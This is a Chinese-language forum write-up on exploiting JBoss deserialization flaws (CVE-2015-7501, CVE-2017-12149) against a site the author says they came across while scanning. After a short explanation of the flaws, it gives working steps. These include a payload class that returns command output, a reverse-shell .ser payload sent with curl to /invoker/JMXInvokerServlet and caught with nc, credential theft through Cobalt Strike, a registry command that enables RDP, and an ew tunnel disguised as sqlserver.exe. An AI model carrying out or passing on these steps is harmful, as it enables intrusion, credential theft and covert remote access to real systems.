本文首发于先知社区:https://xz.aliyun.com/t/9468
今天扫到了一个jboss的站十分奇怪,存在jmx-console和JMXInvokerServlet漏洞
但是通过war远程部署的方法访问jsp小马的时候页面报错500,推测应该是禁止了web流量的原因,那么只能通过JMXInvokerServlet拿他的shell了。
Jboss反序列化的原理
JMXInvokerServlet 反序列化漏洞和Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器的漏洞可以是同一个操作思路就能进行“一打二”
Jboss反序列化的漏洞编号为:CVE-2015-7501
和CVE-2017-12149
CVE-2015-7501漏洞:JBoss在 /invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
CVE-2017-12149漏洞:该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoke 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
不过我也不是专门走java路线的,所以java栈也不在我的技术范围之内,这里只好班门弄斧小小分析一下。
这里先说两个概念:
Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
用代码看就是:
序列化:
1 | FileOutputStream fos = new FileOutputStream(file); |
反序列化:
1 | ileInputStream fis = new FileInputStream(file); |
CVE-2015-7501,这是经典的JBoss反序列化漏洞,漏洞产生的原因是JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象
而CVE-2017-12149的漏洞出现在HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invokerwar\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
可以看出它从http中获取数据,通过调用readobject()方法对数据流进行反序列操作,但是没有进行检查或者过滤
这就造成了JBoss中invoker/JMXInvokerServlet
路径对外开放,而且JBoss的jmx组件支持Java反序列化
0x02 漏洞利用
注意EXP只能利用服务器本机的资源,不能加载远程类
通过对漏洞成因分析可以得知,我们只能通过链式调用来执行java语句。换句话说,我们所想执行的语句必须可以写到一行里面,而且还不能带分号:
(
其实这里很好突破,我们只要把我们想要执行的任意代码(无论有多长)在本地编译成class,然后把class字节码上传到服务器就可以了。然后问题又来了,怎么上传呢,上传到什么路径下面呢?上传可以通过FileOutputStream这个类来实现,上传路径就更简单了,直接给FileOutputStream传个“.”过去,上传到程序运行的当前目录下面,一句话代码:
1 | new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。 |
上传的问题解决了,下面执行也就好办了,一句代码:
1 | java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new |
这样就可以只利用服务器本机资源,不需要联网,可以上传任意文件至任意目录。
获取命令回显内容:
通过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析,得知返回的是一个 MarshalledValue对象,该对象封装了invoker/JMXInvokerServlet的返回值,如果执行过程中有异常抛出,一个InvocationException对象就会封装在MarshalledValue对象里面。
到这里思路就很明确了,java的异常有个构造函数是可以传String参数的,我们可以把第一步那个class文件中命令执行的结果作为参数构造一个Exception,然后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面通过http协议返回,我们只要把返回的MarshalledValue对象解包,就可以获取回显的内容了。
payload.java的源代码如下:
1 | import java.io.BufferedReader; |
解包程序的源代码:
1 | public static void main(String args[]) throws Exception |
下面是解包后的截图:
漏洞实战
前文提到,可以用exp执行命令回显,前人已经帮我们铺好了道路,写好了脚本去检测是否有这个漏洞存在
这里先用软件扫描出存在JMXInvokerServlet反序列化,这里其实可以用工具直接拿shell上线,但是这个shell是一个交互式shell并不稳定,随时有掉线的可能,所以我这里选择手动利用
这里需要利用反弹流量,所以需要准备一台有公网ip的vps
利用jboss反序列化工具:https://github.com/ianxtianxt/CVE-2015-7501
把反序列化工具解压到vps,执行如下命令
1 | javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |
这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser
文件
这时候我们在本地用nc监听一个端口接受反弹shell
1 | nc -lvnp 4444 |
然后我们再使用一个curl去请求反弹建立连接
1 | curl http://被攻击机ip:端口/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser |
这里再切回nc界面发现shell已经反弹了过来
然后cs上线抓密码
开3389
1 | REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
结果连接不上,使用reg生成脚本代理也连接不上,应该是存在什么规则禁止web流量
vps上传ew作反向代理,使目标机能够访问我的vps,但是我访问不到他
1 | chmod 777 ew_for_linux //赋予ew读写权限 |
把ew_for_windows上传到目标机上,这里我为了隐蔽改了一个名字叫sqlserver.exe
1 | shell ew_for_windows.exe -s lcx_slave -d vps-ip -e 1234 -f 目标机内网ip -g 3389 |
再回到我们的vps发现已经接受到了流量
直接本地连接vps的1111端口
登录成功
后记
jboss的总体漏洞相比weblogic、shiro来说是比较少的,但是在jmx反序列化这一块确实重灾区,虽然脚本能够帮我们直接拿下一个shell,但是因为是交互性的shell,随时都有可能掉线,所以这时候就需要我们用vps手动去利用这个jmx反序列化的漏洞